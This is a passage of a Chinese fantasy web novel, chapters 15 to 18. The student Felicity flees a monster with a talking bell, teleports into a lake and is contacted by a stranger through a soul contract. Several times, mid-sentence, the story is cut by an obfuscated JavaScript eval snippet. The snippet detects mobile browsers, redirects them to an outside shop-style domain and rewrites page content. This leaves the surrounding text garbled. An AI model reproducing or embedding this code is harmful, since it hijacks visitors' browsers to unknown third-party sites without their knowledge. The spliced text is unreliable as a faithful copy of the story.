菲莉西蒂不再等它。她一步一挪地走向洞口。每走一步,躯干都在发抖,小腹深处的抽痛也随着动作逐渐加剧。 只一小段路,她就出了一身冷汗,呼吸急促。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164943|196665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 拨开遮掩洞口的植株,她回头看了一眼。 “你自己决定。”她说,“跟我走,或者留在这里等他们。” 说完,便弯腰钻出树洞。 站在宽阔的木质平台上,扶着树壁,菲莉西蒂抬头望向这个巨大的树心空间。 向上,螺旋阶梯蜿蜒攀升,消失在头顶的黑暗里;向下,是无底的深坑。只有几根横穿空洞的粗壮枝干,连接着不同高度的平台。 她现在所在的平台位于树洞中部偏上,离最开始的传送点至少有百米高。 往上是死路。越往上,空间越狭窄,被堵住就无处可逃。 往下,或许有出口。但她现在的体力,说不定等到达底部时,黑魔法师就到了。 最好的办法,是找一个足够隐蔽且能暂时屏蔽追踪的地方藏起来。 但她对这里一无所知。 就在她犹豫时,身后传来窸窸窣窣的声响,还有叮铃声。 铃铛极为勉强地从树洞里飘了出来,它飞得很低,几乎是贴着地面,链子无力地拖在地上。 “等等主角啦!”虽然听起来还是很虚弱,但恢复了之前的咋咋呼呼,“就知道丢下主角自己跑!” 它挪到菲莉西蒂身边,奋力将缝隙口朝上,想要和菲莉西蒂对视。奈何身高原因,使得它怎么也看不清对方的脸,本体差点就要翻倒在地。 像是惊魂未定的小动物在寻求依靠。 菲莉西蒂叹了口气,慢慢蹲下身,朝它伸出手。 铃铛没想到她会这样,缝隙控制不住地抿起,然后晃晃悠悠地飘到她的掌心。 菲莉西蒂将它小心地放进腰侧的布包里,留出一道裂缝给它透气。 “你知道这里哪里可以藏身吗?”她询问,“或者哪里还有传送装置?” 铃铛闷闷答道:“往对面走应该还有一处房间,比这个大一点,是主人以前放杂物的地方。那里可能有传送装置,但我不太记得了......” 菲莉西蒂抬头看向平台外侧。有一根粗壮的枝干横跨平台,连接着对面更高处的一个树瘤状凸起。 枝干表面覆盖着湿滑的苔藓,宽度勉强可容一人通过,下方是令人眩晕的黑暗。 她深吸一口气,忍着痛爬了上去。 枝干在脚下微微晃动。身体的疲惫和眩晕感不断袭来,她必须全神贯注,才能不让自己掉下去。 “小心左边!右边那截好像松了!”铃铛紧张地碎碎念。 就在这时,一种极其怪异的的摩擦声,伴随着液体滴落的粘稠吸吮声,从下方的黑暗中传来。 菲莉西蒂和布包里的铃铛同时僵住。 不是才过一会吗!? 怎么来得那么快! 菲莉西蒂迅速转头,向下瞥去。 在最底部入口的平台处,一个畸形的巨大轮廓正在缓缓蠕动。 类似蜘蛛的臃肿躯干,表面覆盖着不断蠕动的暗红色血肉。八条细长节肢从躯干两侧伸出,末端是滴着绿色粘液的尖锐骨刺。躯干前方只有一个不断开合、布满獠牙的圆形口器,口器边缘伸出多条触手,在空中疯狂挥舞。 最令人作呕的是,它的血肉上布满了细密的黑色纹路,和那个被侵蚀的监考官身上的图样一模一样。 魔物。 而且是一只已经完成转化的成熟体。 15. 成功逃脱 魔物口器周围的触手甩动着,像是在轻嗅些什么,之后突然齐齐转向了上方正在加快速度攀爬的菲莉西蒂。 “沙沙!” 它的动作骤然加快,节肢在木质平台上扒抓出深深的划痕,庞大的身躯以一种与体型不符的迅捷,朝着螺旋阶梯的方向冲去! 它要上来! 菲莉西蒂的心脏砰砰直跳。 得跑! 哪怕四肢已经无力,脚下的枝干也在不断晃动,她尝试站起,迈开脚步就朝对面冲去。 枝干剧烈摇摆,差点要将她甩下去。菲莉西蒂拼命稳住重心,在还剩最后两步时疯狂往前扑。 “咔嚓!” 枝干不堪重负,突然断裂! 菲莉西蒂的身体向前倾倒,双手拼命向前抓去,险险勾住了平台边缘凸起的树柱。 她的身体悬空,脚下是深不见底的黑暗,断裂的枝干旋转着坠入深渊,久久都听不到回音。 “沙沙沙!” 下方的爬行声越来越近。那东西已经爬到了她原先所在的树洞平台,臃肿的躯体将平台全部覆盖,口器大张,发出刺耳的嘶鸣,粘稠的液体从獠牙间滴落。 菲莉西蒂不住地喘气,手臂肌肉绷紧到极限。她用力将自己一点点向上拉,可身体已经千疮百孔,力气也在一点点流失。 明明就差一点! “它快上来了!”铃铛尖叫,“快啊!” 菲莉西蒂猛地往上一挣,身体终于滚上了平台。她来不及喘息,立刻翻身爬起,冲向树洞入口。 就在她即将冲进去的瞬间,魔物黏腻的触手,精准地缠住了她的左脚踝! 剧痛瞬间传来。 菲莉西蒂闷哼一声,身体倾倒,头猛磕在地上,整个人被向后拖去。她死死抓住入口边缘,指缝渗出血丝。 下方,魔物的口器兴奋大叫,更多的触手也从口器边缘探出,向上延伸,想要将猎物彻底捕捉。 菲莉西蒂屏住呼吸,死死支撑,但手指却在一点点滑脱,她的身体已经到达极限了。 铃铛开始哇哇大哭,许是觉得自己马上就要死了,开始疯狂对之前的事向菲莉西蒂道歉。 菲莉西蒂的视野因为汗水滴入而变得模糊,她已经没有知觉了,只有牢牢撑住这一个念头。 魔物拖拽她的力越来越大,而后又有几根触手缠上她的腿,用力往下拉。 自己要死了吗?明明已经快把消息传出去了。 菲莉西蒂意识模糊地想。 一幅幅熟悉的面孔在她眼前划过。 明明自己已经在很努力作为正常人生活了。 无尽的绝望席卷了菲莉西蒂的内心。 这时,在她腹部深处的魔偶核心,突然剧烈地震动。 一股极为纯净的魔力,从核心最深处渗出,并迅速流向左脚踝被缠绕的位置。 当魔力溢出,与触手接触时,一阵细小的电火花迸发。瞬间,它剧烈抽搐,口器发出刺耳的叫声,缠绕的力道立刻减弱! 菲莉西蒂趁机抽回脚,拖着自己的身体冲进树洞,而后控制不住地大口喘息,心脏狂跳。 外面,魔物发出愤怒的吼叫,但它庞大的躯体显然无法通过狭窄的入口。它用节肢疯狂抓挠着入口周围的树壁,大有不抓住菲莉西蒂绝不罢休的气势。 “快!那个装置!”铃铛从布包里飘出来,飞向树洞中央的半球形金属装置,“那是战争时期留下的应急传送器!虽然可能不稳定,但总比留在这里等死好!” 菲莉西蒂挣扎着爬过去。 装置表面被灰尘和蛛网覆盖。她迅速拂去,发现有一个凹陷的手印,周围刻满了密密麻麻的符文。 她着急道:“怎么启动?” “魔力!”铃铛急得团团转,“主角和你剩下的魔力肯定不够!” 它突然像是想到什么,大声道:“你刚刚不是还有魔力吗?快输入!” 刚刚? 菲莉西蒂低头看向自己的腹部。 刚才那股莫名其妙的魔力已经重新沉寂,无论她怎么呼唤,身体都没有回应。 但它绝对与魔偶核心有关。 外面,抓挠的声音越来越大,整个树洞都在震颤,树壁上开始出现裂缝。 没有时间了。 菲莉西蒂右手五指并拢,没有半分犹豫,近乎自残般朝着自己左侧腹部狠狠敲击下去! “呃!” 菲莉西蒂瞬间弓起,冷汗涔涔而下,她艰难地呼吸着,本就苍白的脸更是血色尽褪,剧烈的疼痛让她眼前发黑。 “你在干什么呀!”铃铛尖叫,想不通怎么有人用这种方式自杀。 菲莉西蒂没有停。 她颤抖着,再次抬手,又是同样沉重精准的一击,落在同一个位置! “砰!…咳咳!……砰!” 几击下来,菲莉西蒂疼得浑身痉挛,指关节捏得发白。她跪倒在地,止不住地咳嗽,整个人蜷缩在一起。 但与此同时,一丝不同于她正常魔力的波动从被击打的部位扩散开来。 菲莉西蒂颤抖地站起,琥珀色的瞳孔因疼痛而收缩,一道道细密的黑色纹路爬上她的肌肤。 她引导着这股魔力流向掌心,按在装置凹陷处。 装置最内圈的几个符文极其勉强地亮起,但光芒不定,随时会熄灭的样子。 “不够!还是不够!” 哪怕眼前的景象大大冲击了它的内心,铃铛依旧明白现在最重要的就是先逃出去,“这样是启动不了的!” 菲莉西蒂的嘴角溢出血丝,她将手撑在装置上才能勉强稳住。 她已经到极限了,意识开始模糊。 裂缝扩大,一只尖锐的骨刺已经刺破木头,伸了进来。 要……死了吗? 这时,铃铛猛地飞到她面前,身上的纹路前所未有地耀眼。 “主角豁出去了!” 它大喊着,整个铃铛本体狠狠撞在装置上! “咔嚓!” 铃铛侧面那道缝隙边缘,裂开一道细小的裂纹。一股可怕的魔力从裂纹中喷发而出,注入装置。 “嗡!!!” 所有的符文同时亮起!一个剧烈波动的白色传送门在装置上方的空中浮现。 “走啊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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此刻,指针正稳定地指向某个方向。 “随机传送,装置级别并不高,距离不会太远。”她凝视着罗盘,面具下的眼睛眯起,“刚才那一瞬间的波动,你捕捉到了吗?” 另一黑袍人也看向罗盘,点头:“虽然我从未见过灾厄魔器,但应该是它。” “可能性很高。”高个子收起罗盘,动作从容,“原本只是发现有人在试图冲破屏障,想着过来看看,没想到竟然有意外收获。” 高个黑袍人的目光缓慢扫过凌乱破败的房间,最后落在地上的零星血迹上。她转向矮个子,语气平稳,却不容置疑: “那名学生和魔器应该极度虚弱,移动不了多远。你带着其它魔物前往捕捉,别让他们有喘息的机会,注意,必须活捉。” 对方立刻躬身:“是!” 他不再多言,向后一退,便再次没入一阵空气漩涡中直至消失,连同那只蜘蛛魔物,也跟着退了出去,爬行声迅速远去。 在确定他们离开后,高个黑袍人慢慢走到血迹旁,一挥手,地上所有还未干涸的血迹便凝聚在一起,漂浮在空中。 她拿出一枚被好好包裹着的透明水晶薄片,小心解开,随后颤抖地用手牵引着血迹置于其上。 在接触的瞬间,水晶便发出极其耀眼的红色光芒。 面具之下的嘴咧开一个夸张的弧度。 “终于找到你了,1号。” 16. 来自远方的回应 传送的晕眩过后,菲莉西蒂很快意识到两件事。 第一,讲诚信的主角终于难得诚实一回。 第二,这个传送装置的确很旧了,地点的选取是不太妥当。 身体砸进水面的冲击力让她眼前一黑,水流从四面八方涌来,灌进鼻腔和耳朵,窒息感瞬间充斥全身。 菲莉西蒂本能地蹬腿挣扎,手臂慌乱地划动,牢牢抓住手中的铃铛,黑色的长卷发在混乱中早已完全散落,如墨在水中晕开。 她在混乱中猛地闭紧嘴,强迫自己停止无谓的扑腾,睁开眼睛。视线一片模糊且伴随着眼睛的刺痛,只能勉强看到上方隐约的光亮。 菲莉西蒂将铃铛塞进布包里,双手并用,拼命向上划。 肺里的空气一点点消耗,耳膜嗡嗡作响,心脏在长时间的憋气与紧张下疯狂跳动。四肢沉重,身上的伤口被冷水浸泡,更加难受。 但她不敢停,一下,再一下,凭借方才的感知,朝着那片光亮拼命地游。 “哗啦!” 菲莉西蒂猛地冲出水面,大口喘气,咳出呛进去的水。她睁开湿透的眼睛,发现自己在一片宽阔的水域中央,这里似乎是某个被山体掩埋的湖泊,四周是高耸的岩壁,头顶是狭窄的一线天光,天色昏暗。 水异常冰凉,身上浸透的法袍拖着她往下沉。菲莉西蒂咬紧牙关,将外袍解开,只余身上的内衬。她艰难地在翻涌的水流中环顾四周,终于发现前方岩壁下似乎有一片阴影,像是凹陷的浅滩。 她深吸一口气,再次潜入水中,朝着那个方向游去。 这段距离不长,但对现在的她来说却极为漫长。每划一次水,肌肉就在发痛,散开的头发湿漉漉地贴在脸上、脖子上,不断干扰视线,同时也沉重无比。她完全是凭借要活下去的念头,朝着那片阴影一点点挪动。 手指终于触到了粗糙的岩石。 菲莉西蒂用尽最后一点力气扒住岩壁边缘,早已被水浸泡收缩的手指用力按紧,咬牙把自己从水里拖上岸。身体狠狠砸在冰冷坚硬的石面上,她瘫在那里,剧烈地喘息,手握住喉咙,咳得浑身发抖。 过了很久,她才勉强能撑起上半身,打量这个传送点。 这似乎是一个因水流侵蚀而天然形成的岩穴浅滩,入口被几丛垂挂的植株和突起的岩石半掩着,看不见外边情况。内部地面空间不大,都是坑洼不平的石头,剩下全是湖泊。 暂时安全,但还不能放松警惕。 恢复力气的菲莉西蒂找了个隐蔽处坐下,将湿透的布包小心放在干燥些的地方。在夜晚的凉风中,她的手指冻得僵硬,无法控制,解了好几次才打开扣带。铃铛安静地躺在里面,同样沾着水珠,被撞的裂痕印在在原先极为光滑的表面上,格外刺眼,暗纹上的光已经完全黯淡下去。 “……主角?”她轻声唤它,用手指轻轻碰了碰铃铛。 没有反应。 菲莉西蒂抿嘴,把它捧出来,拧干自己放在布包里的手帕,轻柔擦掉它表面的水,然后放在掌心,试图去感知。 虽然她的魔力已经完全耗尽,但幸亏她们之间的灵契还在。这种基于灵魂的契约,可以在无魔力情况下进行感应。 菲莉西蒂发现,铃铛内部的波动已经变得十分微弱,随时有静止的可能。 阵阵轰鸣声,夹杂着尖锐的吼叫,隔着岩壁和头顶的裂口传来。接着是短暂的惨叫与怒吼,然后一切又归于静止。 南雾森林依旧处于危险之中。 菲莉西蒂把脸埋在膝间,整个人蜷缩进岩壁最深的凹处,紧攥着掌心的铃铛,放在有些热量的腹部。拧过的长发依旧湿漉漉地搭在身后,冰凉的水滴顺着发梢滑落。 她控制不住地颤抖,不仅是寒冷,从腹部蔓延开的绞痛也愈发加剧,饥饿与疼痛也几乎要将她吞没。 为了汲取一丝暖意,她更用力地抱住自己,脊骨硌着粗糙的岩壁。耳边只有模糊的水流声,还有时不时从远处传来的战斗声,以及自己牙齿不受控的打颤声。意识正一点点下沉,视野边缘开始出现光点。 菲莉西蒂知道自己快撑不住了。一直在心中绷紧以维持清醒的线,正在长时间的疲惫与痛苦中,慢慢往两边用力拉伸。 就在线即将彻底崩裂之时,一个声音,毫无预兆地在她已经昏沉的脑海深处响起。 “能听得到吗?请问,你现在安全吗?” 那是个男生的声音。 清朗干净,声调较高,透着小心翼翼的关切,清晰得像是有人正贴在她耳边说话。 菲莉西蒂浑身一僵,这感觉绝不会错,对方是通过她与铃铛的灵契建立的连接。只有曾与这枚铃铛缔结过灵魂契约的人,才可能直接触碰到她的意识。 她猛地想起之前铃铛在开启法阵后做过的事。 主角曾经说过,它的主人是苍白之灾时期的黑魔法师。 恐惧瞬间遍布全身,本就冻得僵硬的身体从内部开始冻结。她本能地想切断精神连接,把自己藏得更深,但灵契是无法如此轻易斩断的。 她的思绪翻涌。 对方能通过精神连接找到她吗?他现在在哪里?他又知道多少? “你……是谁?”菲莉西蒂在脑海里回应,声音紧绷,还带着寒冷带来的发颤。她下意识把铃铛往怀里藏了藏,仿佛这样就能隔开那个声音。 对方停顿了下,似乎没料到她的警惕这么明显,再开口时,关切更胜,多了些安抚意味: “别紧张,我没有恶意。我叫伽斯缇。我刚才在测试家里的旧传讯法阵,结果接收到了一段很模糊的信号,里面提到了南雾森林,还有个大致方位。我试着反向追踪,就连接到了你这边,是你给我发送的信号吗?” 菲莉西蒂愣住,紧握的手指微微松动,对方的信息透露出一点:他并不是主角真正的主人。 但,菲莉西蒂控制住心脏跳动频率,心想,对方也说不定是借着这个名义以夺得她的信任。 毕竟无论黑魔法师做出多么恶心的事,她都不足为奇。 她的顾虑似乎被对方敏锐地捕捉到了。短暂的停顿后,他又再次主动开口,带着一丝笑意道: “但是我这个人有点谨慎,不太确定你是否会真的会告诉我事实,所以我想开启深层的灵契感应,这是双向的。在波动中,任何刻意的谎言都会引起灵魂共振的紊乱。这样,我才能放心。” 说完,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164945|196665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道平和的波动沿着连接传来。 菲莉西蒂怔住。 灵魂的波动是绝对无法伪装的,对方竟敢主动敞开至此。 她冻得发僵的手指无意识搓动了一下,随即不再犹豫,接纳了那股波动。 “你是黑魔法师吗?” 不等对方发话,她直接问道,充满警惕。 对方的惊讶透过波动真切地传递过来:“黑魔法师?不,我不是。他们,不是在苍白之灾后就被彻底清剿了吗?” 波动平稳,没有丝毫紊乱。 他说的是真话。 菲莉西蒂闭眼。虽然不明白为什么主角的信号没有传递给它真正的主人,但此刻这已不重要。 “你好,伽斯缇先生。我叫菲莉西蒂,信号不是我发出的。”她哑声解释了他的问题,“是我的一位同伴,但是它现在昏迷了。” 菲莉西蒂深吸一口气,琥珀色的眼睛里闪过一丝决绝。不管对方是谁,这是目前唯一可能将消息传递出去的渠道,她必须抓住。 “不好意思,伽斯缇先生!请问你能把‘黑魔法师入侵南雾森林考场’这个消息,传递给希尔维斯特所在地的领主吗?”她的话语因为急切而微微发颤。 “很多人可能还在危险中,考场被屏蔽了,外面的人或许还不知道里面发生了什么。拜托你了,这很重要。” 通讯那头安静了几秒。 菲莉西蒂的心再次悬了起来。 “黑魔法师入侵?”对方的声音传来,语气严肃,“我明白了,消息我一定会传递出去。只是——” 他话锋一转,认真道:“我需要知道更多情况。你说考场被屏蔽,具体是什么形式?魔物的数量和种类大概有多少?黑魔法师有明确特征吗?还有,你们现在的位置有没有更精确的线索?信息越详细,我能传递给对方的内容就越多。” 他的问题非常有条理,甚至有些过于专业了,完全不像是一个普通人会问出的细节。 但菲莉西蒂能通过波动知道对方并无恶意。她咬住下唇,脑海里飞快权衡,最终,求生的欲望和对其他考生的担忧压过了疑虑。 她将目前所有的情况以及之前感应所看到的景象,都告诉了对方。只是隐瞒铃铛的真实身份,只说是自己和伙伴一同遭遇了袭击。 她忍受着腹部的抽痛,继续说:“我们最后使用了一个旧传送装置,落点是随机的。现在在一个岩洞里,具体位置不清楚。” 伽斯缇那边沉默着,似乎在消化这些信息,也可能在记录或分析。过了一会儿,他的声音再次响起,比刚才更加沉稳: “谢谢你告诉我这些,这非常关键。我已着手处理消息传递。菲莉西蒂小姐,请务必藏好,保存体力。救援可能需要时间,但我会尽快。” 他的语气又放缓了些:“另外,关于你的同伴,我能感受到连接的另一端非常虚弱。如果你同意,我可以试着通过连接传递一点魔力过去,这或许能帮助它稳定状态。当然,这需要你的许可和配合。” 他提出了帮助,但也把选择权交给了她。菲莉西蒂握紧了掌心的铃铛,金属触感让她混乱的思绪稍微清晰了一点。 他究竟是什么人? 17. 主角的质疑 湿透的内衬紧贴着皮肤,寒意已要渗入骨头内,但菲莉西蒂却无暇顾及身上的伤口,陷入沉思。 对方的提议很诱人,但风险也同样存在。通过精神连接传输魔力,无异于将最脆弱的内里袒露于人前。 虽然对方敞开的感应波动极为坦荡,传递着毫无作伪的善意。 但毕竟这需要极深的信任,通常只有血脉至亲、生死相托的挚友,或者约定一生的伴侣,才会容许这样的接触。甚至如果双方都极为信任彼此,有很大可能会接触到对方的记忆片段。 许多人的一生,最先接收的精神魔力传输大多来自父母。而菲莉西蒂从未接触过,即使是她和主角之间,在签订灵契后,也都默契地守着这条界线,未曾越界。 菲莉西蒂闭眼睛,长睫沾着水珠,长长呼出一口热气。主角救了她,虽然它之前的很多举动都存有自己的私心,但在最后关头,的确是它撞裂本体,强行启动了传送。如果它就这样沉睡了…… 远处又一声闷响传来,岩壁发生轻微的震颤,几粒碎石从头顶滚落。 掌心的银铃愈发冰凉,灵契另一端属于它的波动,间隔时间也越来越长,起伏渐微。 不能再等了。 “非常感谢。”她在脑海里回应,坚定道:“请帮帮它。” “放心,交给我。”伽斯缇的声音立刻传来,依旧是那种清朗干净的少年音色,带着安抚和歉意,“我会尽量快,也尽量不打扰你。” 他的措辞很小心,带着显而易见的顾虑,甚至能听出一点不易察觉的羞涩。显然,他也明白这种通过灵魂连接进行的魔力渗透意味着什么,对于一个全然陌生的女孩而言又是何等越界的冒犯。 菲莉西蒂依言放松紧绷的神经,将注意力集中。 一股异常温暖的魔力,顺着连接,稳定地输送过来。 菲莉西蒂不合时宜地想到了学院那处秘密基地。这股魔力带给她的感觉很像在某个冬日午后,她躺在巨树荫下时,从叶隙间落下的阳光,照耀在身上,带着催人入眠的温度。 她从未想过,有人的魔力会如此让人舒服,不带任何攻击性,让人仿佛能卸下心防,沉溺其中。 菲莉西蒂也能清楚感知到,对方在输送魔力时的小心翼翼。那股暖流极力收敛起自身的存在,笨拙地试图绕开她精神感知的核心区域,只沿着契约连接最边缘的通路行进。 仿佛第一次进行精神魔力传输的是他,而不是菲莉西蒂。 这种深度的连接,接触终究无法完全避免。如同羽毛轻轻从身上擦过的触碰感,仍然不可避免地从灵魂深处传来,带来痒意。 许是对方魔力过于温暖的缘故,菲莉西蒂并不讨厌。 魔力缓缓渗入铃铛,温柔地包裹住铃铛内部那团即将熄灭的核心。 菲莉西蒂惊讶地发现,连自己传送后就一直抽痛的腹部,似乎都因这股外来的魔力而缓和了一些。 而铃铛银白的外壳,也重新恢复光亮。 菲莉西蒂能看到,那个因为撞击而产生的裂缝深处,有一丝光芒一闪而过。她屏住呼吸,将铃铛举至眼前。 掌心的铃铛悄悄翻了个身。 “主角?”菲莉西蒂轻声呼唤,小心碰了碰它的圆环。 “呜……主角好痛啊……”虚弱的童音终于再次在她脑海里响起,还带着刚醒来的不适,“谁在晃主角,别摇了!” 它还没意识到自己是在通过灵契讲话,很大声,完全没注意到另一个人的存在。 “你醒了。”菲莉西蒂松了口气,随即又担心道:“你身上的裂缝,感觉怎么样?” “裂缝?什么裂缝……”铃铛似乎还没完全清醒,本能地检查自身。 “啊!主角的本体!谁干的?!呜呜呜主角一定不会放——” 声音戛然而止。它终于感受到了另一道连接,正温和地附着在它们的契约线上,提供着魔力。 “谁?!” 铃铛的尖叫瞬间拔高,充满了惊恐,“谁在那里?!谁在碰我的契约!菲莉西蒂!你让什么鬼东西连进来了?!” 它像只炸毛的猫,试图调动魔力主动切断那道外来连接,却因为自身的虚弱,只是使那道连接晃了一下。 “冷静点,主角。”菲莉西蒂赶紧安抚它,“是他帮忙输送魔力,才让你清醒的。他叫伽斯缇,说是收到了你之前发出的感应。” “信号?”铃铛的激动突然变成了难以置信的茫然,而后变成更加尖锐的质疑。 “不可能!主角的感应绝不可能传送错!你是谁?!你是怎么截取到我的定向感应的?!那明明只可能传给——” “很遗憾,小朋友,我真的是偶然接收到的。”伽斯缇的声音适时插了进来,依旧带着那副好脾气的笑音,透出无奈,“可能是我家法阵的问题,它的确挺老了。我也是反向连接过来时,才发现是灵契通道,非常抱歉。” “不可能!绝对不可能!” 铃铛完全不信,金链子都有力气再举起来了,它躺在菲莉西蒂的掌心愤怒地翻滚,嚷嚷着:“主角的感应只有主人和其它几个魔器能收到!你肯定是——!” 它又再次卡住。因为那股外来的魔力,的确和记忆中属于主人的魔力有些相似,但反而更像…… 铃铛沉默了,缝隙紧紧抿着,像是在进行激烈的内心斗争。 正当菲莉西蒂对它的沉默的样子感到奇怪时,铃铛哼哼唧唧了几声,只是闷闷地丢出一句:“最好是真的。不然等主角恢复了一定要你好看!” “那我可要小心点了。”伽斯缇从善如流地接话,仿佛完全没听到之前它话里的“魔器”二字,“那么,等希尔维斯特传给我回应后,我再——” “轰!!!” 异变突生。 一声远比之前任何一次都更加猛烈的爆炸声,从岩洞外传来!剧烈的冲击波使得整个岩穴都在摇晃,顶部的碎石哗哗落下,水面翻涌。 紧接着,是一连串密集的魔法爆鸣声,以及充满痛苦与暴怒的刺耳嘶嚎! 那声音很清晰,说明战斗在向她所处位置靠近。 菲莉西蒂全身绷紧,顾不上湿冷和疼痛,一把抓起铃铛和布包,整个人缩进岩洞最内侧、阴影最浓的石凹深处,死死屏住呼吸。 伽斯缇立马关心道:“菲莉西蒂小姐?”他的语速加快,“你那边——” 那根与契约连接的灵魂线像被外力狠狠扯了一把,直接绷断。 感应中断了。 与此同时,一阵几乎要震裂耳膜的咆哮在洞外炸开! “找……到……了……” 像是好几个人声重叠在一起的诡异低语,穿透岩壁飘了进来。 是魔物! 菲莉西蒂用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164946|196665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力咬住下唇,试图用疼痛唤醒笨重的身体。她快速把铃铛放进布包,并顺手带出了一小包她自己配制的刺激性药粉,原本是想着用来驱赶野兽的,气味非常刺鼻。 铃铛又开始想哭了:“怎么又来!?没完了是吧呜呜。” 洞外,它开始徘徊,似是不确定目标是否就在后面。 水珠从菲莉西蒂额前湿透的卷发梢滴落,她全身绷紧,蹲在阴影里,屏住呼吸。方才的传输,也给她提供了一点魔力,力气也在逐渐恢复。 刮擦声响起,它正试探性地刮挠着掩住洞口的岩石。 菲莉西蒂捏紧了药粉,在心里计算着时机。 突然,魔物猛砸在岩壁上,发出巨大的痛嘶! “发什么呆!用风压限制它的移动范围!”一个熟悉的声音响起,带着惯有的焦躁,还有藤曼抽过的风声。 是艾特南! “知道了!催命啊你!”另一道声音仿佛被什么东西蒙住,听不太清,只能依稀辨出是男生。 他气喘吁吁道:“这东西的头太多了!还有我根本就不擅长风系魔法!” 洞口缝隙外,光影剧烈晃动,混杂着爆鸣和重击的声响。菲莉西蒂甚至能看到几株原本垂挂在洞口的夜光藤,被过于狂暴的木系魔法力量强行抽干了生命力,瞬间枯萎卷曲。 “头多?砍断不就完了!注意它的酸液!”艾特南的吼声里压着怒火。 “说得轻巧!你来砍砍看——哇啊!”紧接着传来重物撞击岩壁的闷响,听着是那人为躲避魔物而不小心撞上的。 突然,伴随着凄厉的长嚎,某种庞大之物轰然倒下,连地面都隐隐震动。 洞外只剩下粗重不一的喘息声。 而后脚步声响起,谨慎地朝着洞口而来。 菲莉西蒂下意识检查了自己裸露在外的皮肤,黑纹早已淡去。而洞口那几丛早已在战斗余波中变得稀疏的植株,被一只手随意拨开。 艾特南·埃德蒙站在那里,黑色法袍下沾满了深色的污渍,浅白色的短发有些凌乱。他脸上没什么表情,带着审视与尚未消散的戾气,锐利扫过岩洞内部。 那道视线在看到了主动走出的菲莉西蒂后,才猛地顿住。 菲莉西蒂抬起眼,直直迎上他的视线,琥珀色的眸子在阴影里显得格外清亮,手里还拿着那包还没来得及使用的药粉。 艾特南的眉头蹙起,盯着她看了一会,而后侧过头,朝着洞外方向,声调没什么起伏地喊了一句: “进来。” “别老催我!我怎么那么倒霉和你碰到一起了!” 一个橘色的脑袋探了进来。他的脸上沾满灰尘和血迹,还罩着块布在下半张脸。但当看到菲莉西蒂后,那双总是笑眯眯的眼睛瞬间瞪圆。 “菲莉西蒂?!你怎么在这儿?!你身上怎么全湿了?!你受伤了没有?!” 赞达将众多的问题猛抛向菲莉西蒂,带着毫无掩饰的惊慌和心疼。 菲莉西蒂看到那双关切的眼睛,终于全身心地放松了下来。她下意识想扬起一个安抚的微笑,唇角努力向上弯了弯,却牵动了被咬破的唇瓣,刺痛让她嘴角控制不住地颤动。 她努力控制自己的声音听上去不那么虚弱: “我没事的,赞达。” 明明看上去和这句话毫无关系。 另外两人如此想着。 18. 多方行动 菲莉西蒂尾音刚落,赞达人就已经踉跄着扑到她的面前,泪眼汪汪。橘色眼睛瞪得溜圆,连鼻尖都泛着红,好像受伤的人是他一样。 “菲莉西蒂!我马上帮你疗伤!” 赞达在沾满泥污和可疑绿粘液的法袍自制小口袋里猛掏,终于拿出个被包得严严实实的东西,还用细绳捆得紧紧的,显然是他一路上小心翼翼护着的宝贝。 系带被扯得哗啦响,倒出一瓶魔药水,是赞达常和菲莉西蒂说的考场必备神器。 价钱贵得离谱,赞达攒了好几个月零花钱,少吃了不知道多少块甜品才狠心买了一瓶,一直当终极底牌藏着。 “快喝!” 赞达拔开瓶塞,不由分说地直接塞进菲莉西蒂手里。一副“你敢不喝我就跟你急”的架势。 菲莉西蒂看着赞达那张沾着灰却异常认真的脸,没再推辞,仰头将药水灌了下去。 不愧是现今希尔维斯特市面上最流行的治疗药水。 身上的伤口在快速恢复,连透支的魔力储量也在增加,连腹部来自魔偶核心的钝痛消减了少许。虽然离彻底恢复还差得远,但那种随时会晕过去的虚脱感确实消退了大半。 菲莉西蒂苍白的脸上总算有了点血色。 赞达看到她变好的脸色,肉眼可见地松了口气,但转身又急着去够方才扑过来时掉在一旁的法杖:“还有你这衣服,全湿透了!等着,我给你点火烤干……” 虽然是这么说,但他的法杖划得犹豫,法阵在空中暗淡了几下才勉强成型。一小簇火苗“噗”地冒出来。 火光刚照亮他满是骄傲的脸,一阵风轻轻拂过。 火苗挣扎着晃了晃,还是倒下了,只留下一张尴尬的笑脸。 丢脸的瞬间被朋友看到是无所谓,关键是…… 赞达僵在原地,眼角飞快扫向洞口。艾特南靠在岩壁上,脸上没半点波澜,既没有出声嘲讽,也没有要帮忙的意思,就那么看着。 